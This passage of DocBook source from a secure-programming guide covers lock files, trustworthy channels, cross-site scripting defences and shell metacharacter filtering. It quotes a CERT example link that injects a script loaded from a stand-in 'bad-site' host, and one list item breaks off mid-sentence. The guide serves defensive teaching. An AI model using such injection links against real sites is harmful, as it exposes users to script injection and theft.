There is a technique for safely creating temporary files on NFS v2,
involving the use of link(2) and stat(2), but it's complex; see
<xref linkend="locking-using-files"> which has more information about this.
</para>

<para>
As an aside, it's worth noting that
FreeBSD has recently changed the mk*temp() family to get rid of
the PID component of the filename and replace the entire thing with
base-62 encoded randomness. This drastically raises the number of
possible temporary files for the "default" usage of 6 X's, meaning
that even mktemp(3) with 6 X's is reasonably (probabilistically) secure
against guessing, except under very frequent usage.
However, if you also follow the guidance here, you'll eliminate the
problem they're addressing.
</para>

<para>
Much of this information on temporary files was derived from
<ulink url="http://lwn.net/2000/1221/a/sec-tmp.php3">Kris Kennaway's
posting to Bugtraq about temporary files on December 15, 2000</ulink>.
</para>

<!-- ???: I need to completely rewrite this race condition section -->

<!-- Not quite the right idea:
You can't even just check to see if the given file is a symbolic link;
if it's owned by an untrusted user, the user could change this after
the check.
One possible tool is the O_NOFOLLOW option for open(), a
FreeBSD extension also supported by Linux; this option says to not
follow symbolic links if the link the final portion of the path.
Unfortunately at this time this option is not portable.
-->

</sect3>


</sect2>


<sect2 id="locking">
<title>Locking</title>

<para>
There are often situations in which a program must ensure that it has
exclusive rights to something (e.g., a file, a device, and/or
existence of a particular server process).
Any system which locks resources must deal with the standard problems
of locks, namely, deadlocks (``deadly embraces''), livelocks,
and releasing ``stuck'' locks if a program doesn't clean up its locks.
A deadlock can occur if programs are stuck waiting for each other to
release resources.
For example, a deadlock would occur if
process 1 locks resources A and waits for resource B,
while process 2 locks resource B and waits for resource A.
Many deadlocks can be prevented by simply requiring all processes
that lock multiple resources to lock them
in the same order (e.g., alphabetically by lock name).
</para>

<sect3 id="locking-using-files">
<title>Using Files as Locks</title>

<para>
On Unix-like systems resource locking has traditionally been done by creating
a file to indicate a lock, because this is very portable.
It also makes it easy to ``fix'' stuck locks, because an administrator
can just look at the filesystem to see what locks have been set.
Stuck locks can occur because the program failed to clean up after
itself (e.g., it crashed or malfunctioned) or because the whole system crashed.
Note that these are ``advisory'' (not ``mandatory'') locks - all processes
needed the resource must cooperate to use these locks.
<!-- ??? Discuss various approaches to resolve this, e.g.,
There are some standard tricks to simplify clean-up for these
conditions.
For example, a parent process can set a lock,
call a child to do the work (make sure only the parent can call the child
in a way that it can work), and when the child returns the parent releases
the lock.
Or, a cron job can look at the locks (which contain a process id); if
the process isn't alive, it would erase the lock and restart the process.
Finally, the lock file can be erased as part of system start-up.
-->
</para>

<para>
However, there are several traps to avoid.
First, don't use the technique used by
very old Unix C programs,
which is calling creat() or its open() equivalent, the open() mode
O_WRONLY | O_CREAT | O_TRUNC, with the file mode set to 0 (no permissions).
For normal users on normal file systems, this works, but
this approach fails to lock the file when the user has root privileges.
Root can always perform this operation, even when the file
already exists.
In fact, old versions of Unix had this particular problem in the
old editor ``ed'' -- the symptom was that
occasionally portions of the password file would be placed in user's files
[Rochkind 1985, 22]!
Instead, if you're creating a lock for processes that are on the local
filesystem, you should use open() with the flags
O_WRONLY | O_CREAT | O_EXCL (and again, no permissions, so that other
processes with the same owner won't get the lock).
Note the use of O_EXCL, which is the official way to
create ``exclusive'' files; this even works for root on a local filesystem.
[Rochkind 1985, 27].
</para>

<para>
Second, if the lock file may be on an NFS-mounted filesystem, then you have
the problem that NFS version 2 doesn't completely support normal file semantics.
This can even be a problem for work that's supposed to be ``local'' to a
client, since some clients don't have local disks and may have <emphasis remap="it">all</emphasis>
files remotely mounted via NFS.
The manual for <emphasis remap="it">open(2)</emphasis> explains how to handle things in this case
(which also handles the case of root programs):
</para>

<para>
<QUOTE>... programs which rely on [the O&lowbar;CREAT and O&lowbar;EXCL flags of open(2)]
for performing locking tasks will contain a race condition. The solution
for performing atomic file locking using a lockfile is to create
a unique file on the same filesystem (e.g., incorporating
hostname and pid), use link(2) to make a link to
the lockfile and use stat(2) on the unique file to
check if its link count has increased to 2. Do
not use the return value of the link(2) call.</QUOTE>
</para>

<para>
Obviously, this solution only works if all programs doing the locking
are cooperating, and if all non-cooperating programs aren't allowed to
interfere.
In particular, the directories you're using for file locking
must not have permissive file permissions for creating and removing files.
</para>

<para>
NFS version 3 added support for O_EXCL mode in open(2);
see IETF RFC 1813,
in particular the "EXCLUSIVE" value to the "mode" argument of "CREATE".
Sadly, not everyone has switched to NFS version 3 or higher at the time of this
writing, so you you can't depend on this yet in portable programs.
Still, in the long run there's hope that this issue will go away.
</para>

<para>
If you're locking a device or the existence of a process on a local
machine, try to use standard conventions.
I recommend using the Filesystem Hierarchy Standard (FHS);
it is widely referenced by Linux systems, but it also tries to incorporate
the ideas of other Unix-like systems.
The FHS describes
standard conventions for such locking files, including naming, placement,
and standard contents of these files [FHS 1997].
If you just want to be sure that your server doesn't execute more than once
on a given machine, you should usually create a process identifier as
/var/run/NAME.pid with the pid as its contents.
In a similar vein, you should place lock files for things
like device lock files in /var/lock.
This approach has the minor disadvantage of leaving files hanging around
if the program suddenly halts,
but it's standard practice and that problem is
easily handled by other system tools.
</para>

<para>
It's important that the programs which are cooperating using files to
represent the locks use the same
directory, not just the same directory name.
This is an issue with networked systems: the FHS explicitly notes that
/var/run and /var/lock are unshareable, while /var/mail is shareable.
Thus, if you want the lock to work on a single machine, but not interfere
with other machines, use unshareable directories like /var/run
(e.g., you want to permit each machine to run its own server).
However, if you want all machines sharing files in a network to obey the
lock, you need to use a directory that they're sharing; /var/mail is
one such location.  See FHS section 2 for more information on this subject.
</para>

</sect3>

<sect3 id="other-locking">
<title>Other Approaches to Locking</title>

<para>
Of course, you need not use files to represent locks.
Network servers often need not bother; the mere act of binding to a port
acts as a kind of lock, since if there's an existing server bound to a given
port, no other server will be able to bind to that port.
</para>

<para>
Another approach to locking
is to use POSIX record locks, implemented through fcntl(2) as a
``discretionary lock''.
These are discretionary, that is, using them requires the cooperation of the
programs needing the locks (just as the approach to using files to
represent locks does).
There's a lot to recommend POSIX record locks:
POSIX record locking is supported on nearly all Unix-like platforms
(it's mandated by POSIX.1), it
can lock portions of a file (not just a whole file), and it can handle the
difference between read locks and write locks.
Even more usefully, if a process dies, its locks are automatically removed,
which is usually what is desired.
<!-- ???:  What about locking across NFS, flock, lockf?
XBoing doc file "problems.txt" says that lockf() works over NFS when
lockd daemon is running. -->
</para>

<para>
You can also use mandatory locks, which are based on System V's
mandatory locking scheme.
These only apply to files where the locked file's setgid bit is set, but
the group execute bit is not set.
Also, you must mount the filesystem to permit mandatory file locks.
In this case, every read(2) and write(2) is checked for locking;
while this is more thorough than advisory locks, it's also slower.
Also, mandatory locks don't port as widely to other Unix-like systems
(they're available on Linux and System V-based systems, but not necessarily
on others).
Note that processes with root privileges
can be held up by a mandatory lock, too, making it possible that
this could be the basis of a denial-of-service attack.
</para>

</sect3>

</sect2>

</sect1>

<sect1 id="trustworthy-channels">
<title>Trust Only Trustworthy Channels</title>

<para>
In general, do not trust results from untrustworthy channels.
</para>

<para>
In most computer networks (and certainly for the Internet at large),
no unauthenticated transmission is trustworthy.
For example,
on the Internet arbitrary packets can be forged, including header values,
so don't use their values as your primary criteria for security decisions
unless you can authenticate them.
In some cases you can assert that a packet claiming to come from the
``inside'' actually does, since the local firewall would prevent such
spoofs from outside, but broken firewalls, alternative paths, and
mobile code make even this assumption suspect.
In a similar vein, do not assume that low port numbers (less than 1024)
are trustworthy; in most networks such requests can be forged or
the platform can be made to permit use of low-numbered ports.
</para>

<para>
If you're implementing a standard and inherently insecure protocol
(e.g., ftp and rlogin), provide safe defaults and document clearly
the assumptions.
</para>

<para>
The Domain Name Server (DNS) is widely used on the Internet to maintain
mappings between the names of computers and their IP (numeric) addresses.
The technique called ``reverse DNS'' eliminates some simple
spoofing attacks, and is useful for determining a host's name.
However, this technique is not trustworthy for authentication
decisions.
The problem is that, in the end, a DNS request will be sent eventually
to some remote system that may be controlled by an attacker.
Therefore, treat DNS results as an input that needs
validation and don't trust it for serious access control.
</para>

<para>
If asking for a password, try to set up trusted path (e.g.,
require pressing an unforgeable key
before login, or display unforgeable pattern such as flashing LEDs).
Otherwise, an ``evil'' program could create a display that ``looks like''
the expected display for a password (e.g., a log-in) and intercept
that password.
Unfortunately, stock Linux and most other Unixes don't
have a trusted path even for
its normal login sequence, and
since currently normal users can change the LEDs, the LEDs
can't currently be used to confirm a trusted path.
When handling a password over a network, encrypt it between trusted endpoints.
</para>

<para>
Arbitrary email (including the ``from'' value of addresses)
can be forged as well.
Using digital signatures is a method to thwart many such attacks.
A more easily thwarted approach is to require emailing back and forth
with special randomly-created values, but for low-value transactions
such as signing onto a public mailing list this is usually acceptable.
</para>

<para>
If you need a trustworthy channel over an untrusted network,
you need some sort of cryptologic
service (at the very least, a cryptologically safe hash);
see <xref linkend="crypto">
for more information on cryptographic algorithms and protocols.
</para>

<para>
Note that in any client/server model, including CGI, that the server
must assume that the client can modify any value.
For example, so-called ``hidden fields'' and cookie values can be
changed by the client before being received by CGI programs.
These cannot be trusted unless special precautions are taken.
For example, the hidden fields could be signed in a way the client
cannot forge as long as the server checks the signature.
The hidden fields could also be encrypted using a key only the trusted
server could decrypt (this latter approach is the basic idea behind the
Kerberos authentication system).
InfoSec labs has further discussion about hidden fields and applying
encryption at
<ulink url="http://www.infoseclabs.com/mschff/mschff.htm">http://www.infoseclabs.com/mschff/mschff.htm</ulink>.
In general, you're better off keeping data you care about at the server end
in a client/server model.
In the same vein,
don't depend on HTTP_REFERER for authentication in a CGI program, because
this is sent by the user's browser (not the web server).
</para>

<para>
The routines getlogin(3) and ttyname(3) return information that can be
controlled by a local user, so don't trust them for security purposes.
</para>

<para>
This issue applies to data referencing other data, too.
For example, HTML or XML allow you to include by reference other files
(e.g., DTDs and style sheets) that may be stored remotely.
However, those external references could be modified so that users
see a very different document than intended;
a style sheet could be modified to ``white out'' words at critical
locations, deface its appearance, or insert new text.
External DTDs could be modified to prevent use of the document
(by adding declarations that break validation) or insert different
text into documents [St. Laurent 2000].
</para>

</sect1>

<sect1 id="internal-check">
<title>Use Internal Consistency-Checking Code</title>

<para>
The program should check to ensure that its call arguments and basic state
assumptions are valid.
In C, macros such as assert(3) may be helpful in doing so.
<!-- ??? See programming by contract, championed in Eiffel,
     and info on formal proofs. -->
</para>

</sect1>

<sect1 id="self-limit-resources">
<title>Self-limit Resources</title>

<para>
In network daemons, shed or limit excessive loads.
Set limit values (using setrlimit(2)) to limit the resources that will be used.
At the least, use setrlimit(2) to disable creation of ``core'' files.
For example, by default
Linux will create a core file that saves all program memory if the
program fails abnormally, but such a file might include passwords or
other sensitive data.
</para>

</sect1>

<sect1 id="cross-site-malicious-content">
<title>Prevent Cross-Site Malicious Content</title>
<para>
Some secure programs accept data from one untrusted user (the attacker)
and pass that data on to a different user's application (the victim).
If the secure program doesn't protect the victim, the
victim's application (e.g., their web browser)
may then process that data in a way harmful to the victim.
This is a particularly common problem for web applications using HTML or XML,
where the problem goes by several names including ``cross-site scripting'',
``malicious HTML tags'', and ``malicious content.''
This book will call this problem ``cross-site malicious content,''
since the problem isn't limited to scripts or HTML, and its cross-site nature
is fundamental.
Note that this problem isn't limited to web applications, but since
this is a particular problem for them, the rest of this discussion
will emphasize web applications.
As will be shown in a moment, sometimes an attacker can cause a victim
to send data from the victim to the secure program, so the secure program
must protect the victim from himself.
</para>

<sect2 id="explain-cross-site">
<title>Explanation of the Problem</title>

<para>
Let's begin with a simple example.
Some web applications are designed to
permit HTML tags in data input from users that will later
be posted to other readers (e.g., in a guestbook or ``reader comment'' area).
If nothing is done to prevent it,
these tags can be used by malicious users to attack other users by inserting
scripts,
Java references (including references to hostile applets), DHTML tags,
early document endings (via &lt;/HTML&gt;), absurd font size requests,
and so on.
This capability can be exploited for a wide range of effects,
such as exposing SSL-encrypted connections, accessing restricted web
sites via the client, violating domain-based security policies,
making the web page unreadable,
making the web page unpleasant to use (e.g., via annoying banners
and offensive material),
permit privacy intrusions (e.g., by inserting a web bug to learn exactly
who reads a certain page),
creating
denial-of-service attacks (e.g., by creating an ``infinite'' number
of windows), and even very destructive attacks (by inserting
attacks on security vulnerabilities such as scripting languages or
buffer overflows in browsers).
By embedding malicious FORM tags at the right place, an intruder
may even be able to trick users into revealing sensitive information
(by modifying the behavior of an existing form).
This is by no means an exhaustive list of problems, but
hopefully this is enough to convince you that this is a serious problem.
</para>

<para>
Most ``discussion boards'' have already discovered this problem,
and most already take steps to prevent it in text intended to be part of
a multiperson discussion.
Unfortunately, many web application developers don't
realize that this is a much more general problem.
<emphasis>Every</emphasis> data value that is sent from one
user to another can potentially be a source for cross-site
malicious posting, even if it's not an ``obvious'' case of an area
where arbitrary HTML is expected.
The malicious data can even be supplied by the user himself, since the
user may have been fooled into supplying the data via another site.
Here's an example (from CERT) of an HTML link that causes the user to
send malicious data to another site:
<programlisting>
 &lt;A HREF="http://example.com/comment.cgi?mycomment=&lt;SCRIPT
 SRC='http://bad-site/badfile'&gt;&lt;/SCRIPT&gt;"&gt; Click here&lt;/A&gt;
</programlisting>
</para>

<para>
In short, a web application cannot accept input (including any form data)
without checking, filtering, or encoding it.
You can't even pass that data back to the same user in many cases
in web applications, since another user may have surreptitiously
supplied the data.
Even if permitting such material won't hurt your system, it will
enable your system to be a conduit of attacks to your users.
Even worse, those attacks will appear to be coming from your system.
</para>

<para>
CERT describes the problem this way in their advisory:
<blockquote><para>
A web site may inadvertently include malicious HTML tags or script
in a dynamically generated page based on unvalidated input
from untrustworthy sources
(<ulink url="http://www.cert.org/advisories/CA-2000-02.html">CERT Advisory
CA-2000-02, Malicious HTML Tags Embedded in Client Web Requests</ulink>).
</para></blockquote>
</para>
</sect2>

<sect2 id="solutions-cross-site">
<title>Solutions to Cross-Site Malicious Content</title>
<para>
Fundamentally, this means that all web application output impacted
by any user must be
filtered (so characters that can cause this problem are removed),
encoded (so the characters that can cause this problem are encoded in
a way to prevent the problem), or
validated (to ensure that only ``safe'' data gets through).
This includes all output derived from
input such as URL parameters, form data, cookies,
database queries, CORBA ORB results, and data from users stored in files.
In many cases,
filtering and validation should be done at the input, but
encoding can be done during either input validation or output generation.
If you're just passing the data through without analysis, it's probably
better to encode the data on input (so it won't be forgotten).
However, if your program processes the data,
it can be easier to encode it on output instead.
CERT recommends that filtering and encoding be done during data output;
this isn't a bad idea, but there are many cases where it makes sense to do it
at input instead.
The critical issue is to make sure that you cover all cases for
every output, which is not an easy thing to do regardless of approach.
</para>

<para>
Warning - in many cases these techniques can be subverted unless you've also
gained control over the character encoding of the output.
Otherwise, an attacker could use an ``unexpected'' character encoding
to subvert the techniques discussed here.
Thankfully, this isn't hard;
gaining control over output character encoding is discussed in
<xref linkend="output-character-encoding">.
</para>

<para>
The first subsection below discusses how to identify special
characters that need to be filtered, encoded, or validated.
This is followed by subsections describing
how to filter or encode these characters.
There's no subsection discussing how to validate data in general,
however, for input validation in general see <xref linkend="input">,
and if the input is straight HTML text or a URI, see
<xref linkend="filter-html">.
Also note that your web application can receive malicious cross-postings,
so non-queries should forbid the GET protocol
(see <xref linkend="avoid-get-non-queries">).
</para>

<sect3>
<title>Identifying Special Characters</title>
<para>
Here are the special characters for a variety of circumstances
(my thanks to the CERT, who developed this list):

<itemizedlist>
<listitem><para>
In the content of a block-level element (e.g.,
in the middle of a paragraph of text in HTML or a block in XML):
 <itemizedlist>
 <listitem><para>"&lt;" is special because it introduces a tag.</para></listitem>
 <listitem><para>"&amp;" is special because it introduces a character entity.</para></listitem>
 <listitem><para>"&gt;" is special because some browsers treat it as special,
on the assumption that the author of the page really meant
to put in an opening "&lt;", but omitted it in error.</para></listitem>
 </itemizedlist>
</para></listitem>

<listitem><para>
In attribute values:
<itemizedlist>
<listitem><para>In attribute values enclosed with double quotes, the
double quotes are special because they mark the end of the attribute value.
</para></listitem>
<listitem><para>In attribute values enclosed with single quote, the single
quotes are special because they mark the end of the attribute value.
Note that these aren't legal in XML, so I would recommend not using these.
</para></listitem>
<listitem><para>Attribute values without any quotes make the white-space
characters such as space and tab special. 
Note that these aren't legal in XML either, <emphasis>and</emphasis>
they make more characters special.
Thus, I recommend against unquoted attributes if you're using
dynamically generated values in them.
</para></listitem>
<listitem><para>"&amp;" is special when used in conjunction with
some attributes because it introduces a character entity.
</para></listitem>
</itemizedlist>
</para></listitem>

<listitem><para>
In URLs, for example, a search engine might provide a link within
the results page that the user can click to re-run the search. This
can be implemented by encoding the search query inside the URL. When
this is done, it introduces additional special characters:
<itemizedlist>
<listitem><para>
Space, tab, and new line are special because they mark the
end of the URL.
</para></listitem>
<listitem><para>
        "&amp;" is special because it introduces a character
        entity or separates CGI parameters.
</para></listitem>
<listitem><para>
        Non-ASCII characters (that is, everything above 128 in the
        ISO-8859-1 encoding) aren't allowed in URLs, so they are all
        special here.
</para></listitem>
<listitem><para>
        The "%" must be filtered from input anywhere parameters
        encoded with HTTP escape sequences are decoded by server-side
        code. The percent must be filtered if input such as
        "%68%65%6C%6C%6F" becomes "hello" when it appears on the web
        page in question.
</para></listitem>
</itemizedlist>
</para></listitem>

<listitem><para>
Within the body of a &lt;SCRIPT&gt; &lt;/SCRIPT&gt;
        the semicolon, parenthesis, curly braces, and new line
        should be filtered in situations where text could be inserted
        directly into a preexisting script tag.
</para></listitem>

<listitem><para>
        Server-side scripts that convert any exclamation
        characters (!) in input to double-quote characters (") on
        output might require additional filtering.
</para></listitem>
</itemizedlist>
</para>

<para>
Note that, in general, the ampersand (&amp;) is special in HTML and XML.
</para>

</sect3>

<sect3>
<title>Filtering</title>
<para>
One approach to handling these special characters is simply
eliminating them (usually during input or output).
</para>

<para>
If you're already validating your input for valid characters
(and you generally should), this is easily done by simply omitting the
special characters from the list of valid characters.
Here's an example in Perl of a filter that only accepts legal
characters, and since the filter doesn't accept any special characters
other than the space, it's quite acceptable for use in areas such as
a quoted attribute:
<programlisting>
 # Accept only legal characters:
 $summary =~ tr/A-Za-z0-9\ \.\://dc;
</programlisting>
</para>

<para>
However, if you really want to strip away <emphasis>only</emphasis>
the smallest number of characters, then you could create a subroutine
to remove just those characters:
<programlisting>
 sub remove_special_chars {
  local($s) = @_;
  $s =~ s/[\&lt;\&gt;\"\'\%\;\(\)\&amp;\+]//g;
  return $s;
 }
 # Sample use:
 $data = &amp;remove_special_chars($data);
</programlisting>
</para>
</sect3>

<sect3>
<title>Encoding</title>
<para>
An alternative to removing the special chacters is to encode them
so that they don't have any special meaning.
This has several advantages over filtering the characters,
in particular, it prevents data loss.
If the data is "mangled" by the process from the user's point of view,
at least with encoding it's possible to reconstruct the
data that was originally sent.
</para>

<para>
HTML, XML, and SGML all use the ampersand ("&amp;") character as a
way to introduce encodings in the running text; this encoding
is often called ``HTML encoding.''
To encode these characters, simply transform the special characters
in your circumstance. Usually this means
'&lt;' becomes '&amp;lt;',
'&gt;' becomes '&amp;gt;',
'&amp;' becomes '&amp;amp;', and
'&quot;' becomes '&amp;quot;'.
As noted above, although in theory '&gt;' doesn't need to be quoted,
because some browsers act on it (and fill in a '&lt;') it needs to be quoted.
There's a minor complexity with the double-quote character,
because '&amp;quot;' only needs to be
used inside attributes, and some old browsers don't properly render it.
If you can handle the additional complexity, you can try to encode '&quot;'
only when you need to, but it's easier to simply encode it and ask
users to upgrade their browsers.
</para>

<para>
This approach to HTML encoding
isn't quite enough encoding in some circumstances.
As discussed in <xref linkend="output-character-encoding">,
you need to specify the output character encoding (the ``charset'').
<!-- A list of character encodings is at
    ftp://ftp.isi.edu/in-notes/iana/assignments/character-sets; this
    is referenced in the HTML 4.01 spec -->
If some of your data is encoded using a different character encoding
than the output character encoding, then you'll need to do something so your
output uses a consistent and correct encoding.
Also, you've selected an output encoding other than
ISO-8859-1, then you need to
make sure that any alternative encodings for special characters
(such as "&lt;") can't slip through to the browser.
This is a problem with several character encodings, including popular ones
like UTF-7 and UTF-8; see <xref linkend="character-encoding">
for more information on how to prevent ``alternative'' encodings of characters.
<!-- Is it possible to slip through even with ISO-8859-1? I don't see
     a way to do it, so I'm not raising that concern. -->
One way to deal with incompatible character encodings is to
first translate the characters internally to ISO 10646 (which has
the same character values as Unicode), and then
using either numeric character references or character entity
references to represent them:
<itemizedlist>
<listitem><para>A numeric character reference looks like
"&amp;#D;", where D is a decimal number, or
"&amp;#xH;" or "&amp;#XH;", where H is a hexadecimal number.
The number given is the ISO 10646 character id (which has the same character
values as Unicode).
Thus &amp;#1048; is the Cyrillic capital letter "I".
The hexadecimal system isn't supported in the SGML standard (ISO 8879),
so I'd suggest using the decimal system for output.
Also, although SGML specification
permits the trailing semicolon to be omitted in
some circumstances, in practice many systems don't handle it - so
always include the trailing semicolon.
</para></listitem>
<listitem><para>A character entity reference does the same thing but
uses mnemonic names instead of numbers.
For example, "&amp;lt;" represents the &lt; sign.
If you're generating HTML, see the
<ulink url="http://www.w3.org">HTML specification</ulink> which
lists all mnemonic names.
</para></listitem>
</itemizedlist>
Either system (numeric or character entity)
works; I suggest using character entity references for
'&lt;', '&gt;', '&amp;', and '&quot;' because it makes your code (and output)
easier for humans to understand.  Other than that, it's not clear
that one or the other system is uniformly better.
If you expect humans to edit the output by hand later, use the
character entity references where you can, otherwise I'd use the
decimal numeric character references just because they're easier to program.
This encoding scheme can be quite inefficient for some languages
(especially Asian languages); if that is your primary content, you
might choose to use a different character encoding (charset), filter
on the critical characters (e.g., "&lt;")
and ensure that no alternative encodings for critical characters are allowed.
</para>

<para>
URIs have their own encoding scheme, commonly called ``URL encoding.''
In this system, characters not permitted in URLs are represented using
a percent sign followed by its two-digit hexadecimal value.
To handle all of ISO 10646 (Unicode), it's recommended to first translate
the codes to UTF-8, and then encode it.
See <xref linkend="Validating-uris"> for more about validating URIs.
</para>

</sect3>

</sect2>

</sect1>

</chapter>

<chapter id="call-out">
<title>Carefully Call Out to Other Resources</title>

<epigraph>
<attribution>Psalms 146:3 (NIV)</attribution>
<para>
Do not put your trust in princes, in mortal men, who cannot save.
</para>
</epigraph>

<sect1 id="call-only-safe">
<title>Call Only Safe Library Routines</title>

<para>
Sometimes there is a conflict between security and the development
principles of abstraction (information hiding) and reuse.
The problem is that some high-level library routines
may or may not be implemented securely, and their specifications won't tell you.
Even if a particular implementation is secure, it may not be
possible to ensure that other versions of the routine
will be safe, or that the same interface will be safe on other platforms.
For example, I've not been able to assure myself that tmpfile(3) is
secure on all platforms (see <xref linkend="temporary-files">);
its specifications aren't sufficiently clear to give me confidence of this.
</para>

<para>
In the end, if your application must be secure, you must sometimes
re-implement your own versions of library routines.
Basically, you have to re-implement routines if you can't be sure
that the library routines will perform the necessary actions you require
for security.
Yes, in some cases the library's implementation should be fixed, but
it's your users who will be hurt if you choose a library routine that
is a security weakness.
If can, try to use the high-level interfaces when you must
re-implement something - that way, you can switch to the high-level
interface on systems where its use is secure.
If you can, test to see if the routine is secure or not, and use it if
it's secure - ideally you can perform this test as part of
compilation or installation (e.g., as part of an ``autoconf'' script).
Sometimes this kind of run-time testing is impractical (e.g., testing for race
conditions).
</para>
</sect1>

<sect1 id="limit-call-outs">
<title>Limit Call-outs to Valid Values</title>

<para>
Ensure that any call out to another program only permits valid
and expected values for every parameter.
This is more difficult than it sounds, because many
library calls or commands call lower-level routines in potentially
surprising ways.
For example, several system calls, such as popen(3) and system(3),
are implemented by calling the command shell, meaning that they will
be affected by shell metacharacters.
Similarly, execlp(3) and execvp(3) may cause the shell to be called.
Many guidelines suggest avoiding popen(3), system(3), execlp(3), and execvp(3)
entirely and use execve(3) directly in C when trying to spawn
a process [Galvin 1998b].
At the least, avoid using system(3) when you can use the execve(3);
since system(3) uses the shell to expand characters, there is more
opportunity for mischief in system(3).
In a similar manner the Perl and shell backtick (`) also call a command shell;
for more information on Perl see <xref linkend="perl">.
</para>

<para>
One of the nastiest examples of this problem are shell metacharacters.
The standard Unix-like command shell (stored in /bin/sh)
interprets a number of characters specially.
If these characters are sent to the shell, then their special interpretation
will be used unless escaped; this fact can be used to break programs.
According to the WWW Security FAQ [Stein 1999, Q37], these metacharacters are:

<screen width="61">
&amp; ; ` ' \ " | * ? ~ &#60; &#62; ^ ( ) [ ] { } $ \n \r
</screen>
</para>

<para>
Unfortunately, in real life this isn't a complete list.
Here are some other characters that can be problematic:
<!-- Martin Douda provided this list of ! through *; I added the note
     about control characters -->
<itemizedlist>
<listitem><para>
'!' means ``not'' in an expression (as it does in C);
    if the return value of a program is tested, prepending !
    could fool a script into thinking something had failed when it
    succeeded or vice versa.
    In some shells, the "!" also accesses the command history, which can
    cause real problems.
    In bash, this only occurs for interactive mode, but tcsh
    (a csh clone found in some Linux distributions) uses "!" even in scripts.
    In csh, bash, and some other shells, if you can fool them i
    Also new bash seems to use '!' for accessing command history - but
    this probably only in interactive mode.
</para></listitem>

<listitem><para>
'#' is the comment character; all further text on the line is ignored.
</para></listitem>

<listitem><para>
'-' can be misinterpreted as leading an option (or, as -&nbsp;-, disabling
all further options).  Even if it's in the ``middle'' of a filename,
if it's preceeded by what the shell considers as whitespace you may
have a problem.
</para></listitem>

<listitem><para>
' ' (space) and other whitespace characters may turn a ``single'' filename
into multiple arguments.
</para></listitem>

<listitem><para>
Other control characters (in particular, NIL) may cause problems for
some shell implementations.
</para></listitem>

<listitem><para>
Depending on your usage, it's even conceivable that ``.''
(the ``run in current shell'') and ``='' (for setting variables) might
be worrisome characters.
However, any example I've found so far where these
are issues have other (much worse) security problems.
</para></listitem>

<!-- 
  '.' run in current shell - also could be harmful alloving to modify
    execution environment

  '=' for variables, again modifying execution environment

  (*) depending on programs called from script any other character can cause
  problems.
-->
</itemizedlist>

</para>


<para>
Forgetting one of these characters can be disastrous, for example,
many programs omit backslash as a metacharacter [rfp 1999].
As discussed in the <xref linkend="input">, a recommended approach
by some
is to immediately escape at least all of these characters when they are input.
But again, by far and away the best approach is to identify which
characters you wish to permit, and use a filter to only permit
those characters.
</para>

<para>
A number of programs, especially those designed for human interaction,
have ``escape'' codes that perform ``extra'' activities.
One of the more common (and dangerous) escape codes is one that brings
up a command line.
Make sure that these ``escape'' commands can't be included
(unless you're sure that the specific command is safe).
For example, many line-oriented mail programs (such as mail or mailx) use
tilde (~) as an escape character, which can then be used to send a number
of commands.
As a result, apparantly-innocent commands such as
``mail admin < file-from-user'' can be used to execute arbitrary programs.
Interactive programs such as vi, emacs, and ed have ``escape'' mechanisms
that allow users to run arbitrary shell commands from their session.
Always examine the documentation of programs you call to search for
escape mechanisms.
It's best if you call only programs intended for use by other programs; see
<xref linkend="call-intentional-apis">.
</para>

<para>
The issue of avoiding
escape codes even goes down to low-level hardware components
and emulators of them.
Most modems implement the so-called ``Hayes'' command set, in which
the sequence ``+++'', a delay, and then ``+++'' again forces the modem
to switch modes (and interpret following text as commands to it).
This can be used to implement denial-of-service attacks or even forcing
a user to connect to someone else.
</para>

<para>
Many ``terminal'' interfaces implement the escape
codes of ancient, long-gone physical terminals like the VT100.
These codes can be useful, for example, for bolding characters,
changing font color, or moving to a particular location
in a terminal interface.
However, do not allow arbitrary untrusted data to be sent directly
to a terminal screen, because some of those codes can cause serious problems.
On some systems you can remap keys (e.g., so when a user presses
"Enter" or a function key it sends the command you want them to run).
On some you can even send codes to
clear the screen, display a set of commands you'd like the victim to run,
and then send that set ``back'', forcing the victim to run
the commands of the attacker's choosing without even waiting for a keystroke.
This is typically implemented using ``page-mode buffering''.
This security problem is why emulated tty's (represented as device files,
usually in /dev/) should only be writeable by
their owners and never anyone else - they should never have
``other write'' permission set, and unless only the user is a member of
the group (i.e., the ``user-private group'' scheme), the ``group write''
permission should not be set either for the terminal [Filipski 1986].
If you're displaying data to the user at a (simulated) terminal, you probably
need to filter out all control characters (characters with values less
than 32) from data sent back to
the user unless they're identified by you as safe.
Worse comes to worse, you can identify tab and newline (and maybe
carriage return) as safe, removing all the rest.
Characters with their high bits set (i.e., values greater than 127)
are in some ways trickier to handle; some old systems implement them as
if they weren't set, but simply filtering them inhibits much international
use.
In this case, you need to look at the specifics of your situation.
</para>

<para>
A related problem is that the NIL character (character 0) can have
surprising effects.
Most C and C++ functions assume
that this character marks the end of a string, but string-handling routines
in other languages (such as Perl and Ada95) can handle strings containing NIL.
Since many libraries and kernel calls use the C convention, the result
is that what is checked is not what is actually used [rfp 1999].
</para>

<para>
When calling another program or referring to a file
always specify its full path (e.g, <filename>/usr/bin/sort</filename>).
For program calls,
this will eliminate possible errors in calling the ``wrong'' command,
even if the PATH value is incorrectly set.
For other file referents, this reduces problems from ``bad'' starting
directories.
</para>

</sect1>

<sect1 id="call-intentional-apis">
<title>Call Only Interfaces Intended for Programmers</title>

<para>
Call only application programming interfaces (APIs) that are
intended for use by programs.
Usually a program can invoke any other program,
including those that are really designed for human interaction.
However, it's usually unwise to invoke a program intended for human
interaction in the same way a human would.
The problem is that programs's human interfaces are intentionally rich
in functionality and are often difficult to completely control.
As discussed in <xref linkend="limit-call-outs">,
interactive programs often have ``escape'' codes,
which might enable an attacker to perform undesirable functions.
Also, interactive programs often try to intuit the ``most likely'' defaults;
this may not be the default you were expecting, and an attacker may find
a way to exploit this.
</para>

<para>
Examples of programs you shouldn't normally call directly include
mail, mailx, ed, vi, and emacs.
At the very least, don't call these without checking
their input first.
</para>

<para>
Usually there are parameters to give you safer access to the program's
functionality,
or a different API or application that's intended for use by programs;
use those instead.
For example, instead of invoking a text editor to edit some text
(such as ed, vi, or emacs), use sed where you can.
</para>
</sect1>


<sect1 id="check-returns">
<title>Check All System Call Returns</title>

<para>
Every system call that can return an error condition must have that
error condition checked.
One reason is that nearly all system calls require limited system resources,
and users can often affect resources in a variety of ways.
Setuid/setgid programs can have limits set on them through calls such as
setrlimit(3) and nice(2).
External users of server programs and CGI scripts
may be able to cause resource exhaustion simply by making a large number
of simultaneous requests.
If the error cannot be handled gracefully, then fail open as discussed earlier.
</para>

</sect1>

<sect1 id="avoid-vfork">
<title>Avoid Using vfork(2)</title>

<para>
